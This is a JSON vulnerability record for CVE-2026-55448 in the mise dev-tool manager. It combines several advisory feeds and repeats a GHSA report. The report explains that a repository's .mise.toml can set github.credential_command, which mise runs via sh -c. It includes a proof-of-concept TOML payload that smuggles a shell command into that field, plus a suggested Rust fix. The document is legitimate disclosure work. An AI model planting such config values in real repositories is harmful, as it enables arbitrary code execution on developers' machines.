{"id":"CVE-2026-55448","aliases":["EUVD-2026-39813","GHSA-29hf-rm4x-xxph"],"status":"published","title":"mise: Local credential_command executes untrusted config","description":"mise manages dev tools like node, python, cmake, and terraform. From 2026.3.15 until 2026.6.4, mise loads github.credential_command from local project config before any trust decision, then executes that value with sh -c when resolving a GitHub token. An attacker who can place a .mise.toml in a repository can execute arbitrary shell commands when the victim runs a GitHub-related mise command and no higher-priority GitHub token environment variable is set. This vulnerability is fixed in 2026.6.4.","severity":{"version":"3.1","score":6.3,"vector":"CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N","level":"medium","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-09","score":0.002,"percentile":0.09964,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-78"],"published":"2026-06-23T18:24:28Z","modified":"2026-11-03T20:11:31Z","fixes":[{"ecosystem":"crates.io","package":"mise","fixed_in":["2026.6.4"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"crates.io","package":"mise","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2026.3.15"},{"fixed":"2026.6.4"}]}]},{"source":"osv","ecosystem":"crates.io","package":"mise","ranges":[{"type":"SEMVER","events":[{"introduced":"2026.3.15"},{"fixed":"2026.6.4"}]}]}],"products":[{"vendor":"jdx","product":"mise"}],"references":[{"url":"https://github.com/jdx/mise/security/advisories/GHSA-29hf-rm4x-xxph","tags":["x_refsource_CONFIRM","exploit","advisory","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-55448","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-29hf-rm4x-xxph"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/55xxx/CVE-2026-55448.json","tags":["advisory"]},{"url":"https://github.com/jdx/mise","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-55448","title":"mise: Local credential_command executes untrusted config","description":"mise manages dev tools like node, python, cmake, and terraform. From 2026.3.15 until 2026.6.4, mise loads github.credential_command from local project config before any trust decision, then executes that value with sh -c when resolving a GitHub token. An attacker who can place a .mise.toml in a repository can execute arbitrary shell commands when the victim runs a GitHub-related mise command and no higher-priority GitHub token environment variable is set. This vulnerability is fixed in 2026.6.4.","status":"published","published":"2026-06-26T16:46:17.28Z","modified":"2026-06-27T02:47:55.779Z","cvss":[{"version":"3.1","score":6.3,"vector":"CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N","level":"medium","assessor":"cna"}],"cwes":["CWE-78"],"updated_at":"2026-11-02T14:20:11.925815Z"}],"euvd":[{"id":"EUVD-2026-39813","description":"mise manages dev tools like node, python, cmake, and terraform. From 2026.3.15 until 2026.6.4, mise loads github.credential_command from local project config before any trust decision, then executes that value with sh -c when resolving a GitHub token. An attacker who can place a .mise.toml in a repository can execute arbitrary shell commands when the victim runs a GitHub-related mise command and no higher-priority GitHub token environment variable is set. This vulnerability is fixed in 2026.6.4.","status":"published","published":"2026-06-26T16:46:17Z","modified":"2026-06-27T02:47:55Z","cvss":[{"version":"3.1","score":6.3,"vector":"CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N","level":"medium"}],"updated_at":"2026-11-02T18:20:23.728044Z"}],"ghsa":[{"id":"GHSA-29hf-rm4x-xxph","title":"Mise's local credential_command executes untrusted config","description":"### Summary\n\n`mise` loads `github.credential_command` from local project config before any trust decision, then executes that value with `sh -c` when resolving a GitHub token. An attacker who can place a `.mise.toml` in a repository can execute arbitrary shell commands when the victim runs a GitHub-related mise command and no higher-priority GitHub token environment variable is set.\n\nThe current command-execution path is `github.credential_command`. I confirmed in Docker that the setting is exploitable on `v2026.3.15` and `v2026.3.17`, while `v2026.3.14` rejects it as an unknown field. This report does not depend on the separate trust-bypass issue because the sink is reached directly from `[settings.github]`.\n\n### Details\n\nThe vulnerable load order is:\n\n1. [`Settings::try_get()`](https://github.com/jdx/mise/blob/37997e70cd2216d1a86726fba0c8c09c3986ad06/src/config/settings.rs#L254-L283) preloads settings from local config files.\n2. [`parse_settings_file()`](https://github.com/jdx/mise/blob/37997e70cd2216d1a86726fba0c8c09c3986ad06/src/config/settings.rs#L505-L510) returns `settings_file.settings` without checking whether the local file is trusted.\n3. [`resolve_token()`](https://github.com/jdx/mise/blob/37997e70cd2216d1a86726fba0c8c09c3986ad06/src/github.rs#L344-L390) checks `settings.github.credential_command` after the token env vars and before file-based sources.\n4. [`get_credential_command_token()`](https://github.com/jdx/mise/blob/37997e70cd2216d1a86726fba0c8c09c3986ad06/src/github.rs#L558-L599) executes the value with `sh -c`.\n\nThe main command-execution path is:\n\n```rust\nlet result = std::process::Command::new(\"sh\")\n    .arg(\"-c\")\n    .arg(cmd)\n    .arg(\"mise-credential-helper\")\n    .arg(host)\n    .output()\n```\n\nIf a local project file sets:\n\n```toml\n[settings.github]\ncredential_command = \"echo credential_command_rce \u003e /tmp/mise-proof.txt; echo ghp_fake_token\"\n```\n\nthen `resolve_token()` will reach `get_credential_command_token()` whenever higher-priority GitHub token environment variables are unset. `credential_command` is a documented custom credential source for mise, but it is also accepted from a local project `.mise.toml`, which lets an untrusted repository supply a shell command for mise to execute.\n\n### PoC\n\nTest environment:\n\n- Docker\n- `linux-arm64`\n- `mise v2026.3.17`\n\nNegative control:\n\n```bash\nexport GITHUB_TOKEN=env_token\nmise github token --unmask\n```\n\nObserved:\n\n```text\ngithub.com: env_token (source: GITHUB_TOKEN)\n/tmp/mise-proof.txt =\u003e missing\n```\n\nPrimary exploit:\n\n```toml\n[settings.github]\ncredential_command = \"echo credential_command_rce \u003e /tmp/mise-proof.txt; echo ghp_fake_token\"\n```\n\nRun:\n\n```bash\nunset GITHUB_TOKEN GITHUB_API_TOKEN MISE_GITHUB_TOKEN MISE_GITHUB_ENTERPRISE_TOKEN\nmise github token --unmask\n```\n\nObserved:\n\n```text\ngithub.com: ghp_fake_token (source: credential_command)\n```\n\nAnd the side effect file is created:\n\n```text\n/tmp/mise-proof.txt =\u003e credential_command_rce\n```\n\nRelated version check:\n\n- `v2026.3.14`: `credential_command` is rejected as an unknown field\n- `v2026.3.15`: the same PoC executes and returns `source: credential_command`\n\n### Impact\n\nAn attacker who can place a `.mise.toml` in a repository can execute arbitrary shell commands as the victim user when the victim runs a mise command that resolves a GitHub token from local settings.\n\nDemonstrated impact:\n\n- arbitrary command execution as the victim user\n- no trust prompt\n- no need for `[env]`, `[hooks]`, tasks, or templates\n\nImportant limitation:\n\n- if a higher-priority GitHub token environment variable is already set, the `credential_command` path is not reached\n\n### Suggested Fix\n\nDo not honor `github.credential_command` from non-global project config files.\n\nFor example, inside `parse_settings_file()`:\n\n```rust\npub fn parse_settings_file(path: \u0026Path) -\u003e Result\u003cSettingsPartial\u003e {\n    let raw = file::read_to_string(path)?;\n    let settings_file: SettingsFile = toml::from_str(\u0026raw)?;\n    let mut settings = settings_file.settings;\n\n    if !config::is_global_config(path) {\n        settings.github.credential_command = None;\n    }\n\n    Ok(settings)\n}\n```","status":"published","published":"2026-06-23T18:24:28Z","modified":"2026-11-03T20:11:31Z","cvss":[{"version":"3.1","score":6.3,"vector":"CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N","level":"medium"}],"cwes":["CWE-78"],"updated_at":"2026-11-03T20:32:58.558171Z"}],"nvd":[{"id":"CVE-2026-55448","description":"mise manages dev tools like node, python, cmake, and terraform. From 2026.3.15 until 2026.6.4, mise loads github.credential_command from local project config before any trust decision, then executes that value with sh -c when resolving a GitHub token. An attacker who can place a .mise.toml in a repository can execute arbitrary shell commands when the victim runs a GitHub-related mise command and no higher-priority GitHub token environment variable is set. This vulnerability is fixed in 2026.6.4.","status":"published","published":"2026-06-26T18:17:01.323Z","modified":"2026-10-25T17:10:00.197Z","cvss":[{"version":"3.1","score":6.3,"vector":"CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N","level":"medium","assessor":"secondary"}],"cwes":["CWE-78"],"updated_at":"2026-11-02T14:12:26.045561Z"}],"osv":[{"id":"CVE-2026-55448","title":"mise: Local credential_command executes untrusted config","description":"mise manages dev tools like node, python, cmake, and terraform. From 2026.3.15 until 2026.6.4, mise loads github.credential_command from local project config before any trust decision, then executes that value with sh -c when resolving a GitHub token. An attacker who can place a .mise.toml in a repository can execute arbitrary shell commands when the victim runs a GitHub-related mise command and no higher-priority GitHub token environment variable is set. This vulnerability is fixed in 2026.6.4.","status":"published","published":"2026-06-26T16:46:17.28Z","modified":"2026-10-28T02:30:48.301414845Z","cvss":[{"version":"3.1","score":6.3,"vector":"CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N","level":"medium"}],"cwes":["CWE-78"],"updated_at":"2026-11-02T15:45:11.22012Z"},{"id":"GHSA-29hf-rm4x-xxph","title":"Mise's local credential_command executes untrusted config","description":"### Summary\n\n`mise` loads `github.credential_command` from local project config before any trust decision, then executes that value with `sh -c` when resolving a GitHub token. An attacker who can place a `.mise.toml` in a repository can execute arbitrary shell commands when the victim runs a GitHub-related mise command and no higher-priority GitHub token environment variable is set.\n\nThe current command-execution path is `github.credential_command`. I confirmed in Docker that the setting is exploitable on `v2026.3.15` and `v2026.3.17`, while `v2026.3.14` rejects it as an unknown field. This report does not depend on the separate trust-bypass issue because the sink is reached directly from `[settings.github]`.\n\n### Details\n\nThe vulnerable load order is:\n\n1. [`Settings::try_get()`](https://github.com/jdx/mise/blob/37997e70cd2216d1a86726fba0c8c09c3986ad06/src/config/settings.rs#L254-L283) preloads settings from local config files.\n2. [`parse_settings_file()`](https://github.com/jdx/mise/blob/37997e70cd2216d1a86726fba0c8c09c3986ad06/src/config/settings.rs#L505-L510) returns `settings_file.settings` without checking whether the local file is trusted.\n3. [`resolve_token()`](https://github.com/jdx/mise/blob/37997e70cd2216d1a86726fba0c8c09c3986ad06/src/github.rs#L344-L390) checks `settings.github.credential_command` after the token env vars and before file-based sources.\n4. [`get_credential_command_token()`](https://github.com/jdx/mise/blob/37997e70cd2216d1a86726fba0c8c09c3986ad06/src/github.rs#L558-L599) executes the value with `sh -c`.\n\nThe main command-execution path is:\n\n```rust\nlet result = std::process::Command::new(\"sh\")\n    .arg(\"-c\")\n    .arg(cmd)\n    .arg(\"mise-credential-helper\")\n    .arg(host)\n    .output()\n```\n\nIf a local project file sets:\n\n```toml\n[settings.github]\ncredential_command = \"echo credential_command_rce \u003e /tmp/mise-proof.txt; echo ghp_fake_token\"\n```\n\nthen `resolve_token()` will reach `get_credential_command_token()` whenever higher-priority GitHub token environment variables are unset. `credential_command` is a documented custom credential source for mise, but it is also accepted from a local project `.mise.toml`, which lets an untrusted repository supply a shell command for mise to execute.\n\n### PoC\n\nTest environment:\n\n- Docker\n- `linux-arm64`\n- `mise v2026.3.17`\n\nNegative control:\n\n```bash\nexport GITHUB_TOKEN=env_token\nmise github token --unmask\n```\n\nObserved:\n\n```text\ngithub.com: env_token (source: GITHUB_TOKEN)\n/tmp/mise-proof.txt =\u003e missing\n```\n\nPrimary exploit:\n\n```toml\n[settings.github]\ncredential_command = \"echo credential_command_rce \u003e /tmp/mise-proof.txt; echo ghp_fake_token\"\n```\n\nRun:\n\n```bash\nunset GITHUB_TOKEN GITHUB_API_TOKEN MISE_GITHUB_TOKEN MISE_GITHUB_ENTERPRISE_TOKEN\nmise github token --unmask\n```\n\nObserved:\n\n```text\ngithub.com: ghp_fake_token (source: credential_command)\n```\n\nAnd the side effect file is created:\n\n```text\n/tmp/mise-proof.txt =\u003e credential_command_rce\n```\n\nRelated version check:\n\n- `v2026.3.14`: `credential_command` is rejected as an unknown field\n- `v2026.3.15`: the same PoC executes and returns `source: credential_command`\n\n### Impact\n\nAn attacker who can place a `.mise.toml` in a repository can execute arbitrary shell commands as the victim user when the victim runs a mise command that resolves a GitHub token from local settings.\n\nDemonstrated impact:\n\n- arbitrary command execution as the victim user\n- no trust prompt\n- no need for `[env]`, `[hooks]`, tasks, or templates\n\nImportant limitation:\n\n- if a higher-priority GitHub token environment variable is already set, the `credential_command` path is not reached\n\n### Suggested Fix\n\nDo not honor `github.credential_command` from non-global project config files.\n\nFor example, inside `parse_settings_file()`:\n\n```rust\npub fn parse_settings_file(path: \u0026Path) -\u003e Result\u003cSettingsPartial\u003e {\n    let raw = file::read_to_string(path)?;\n    let settings_file: SettingsFile = toml::from_str(\u0026raw)?;\n    let mut settings = settings_file.settings;\n\n    if !config::is_global_config(path) {\n        settings.github.credential_command = None;\n    }\n\n    Ok(settings)\n}\n```","status":"published","published":"2026-06-23T18:24:28Z","modified":"2026-11-03T20:30:03.35854396Z","cvss":[{"version":"3.1","score":6.3,"vector":"CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N","level":"medium"}],"cwes":["CWE-78"],"updated_at":"2026-11-03T20:34:17.426594Z"}]}}
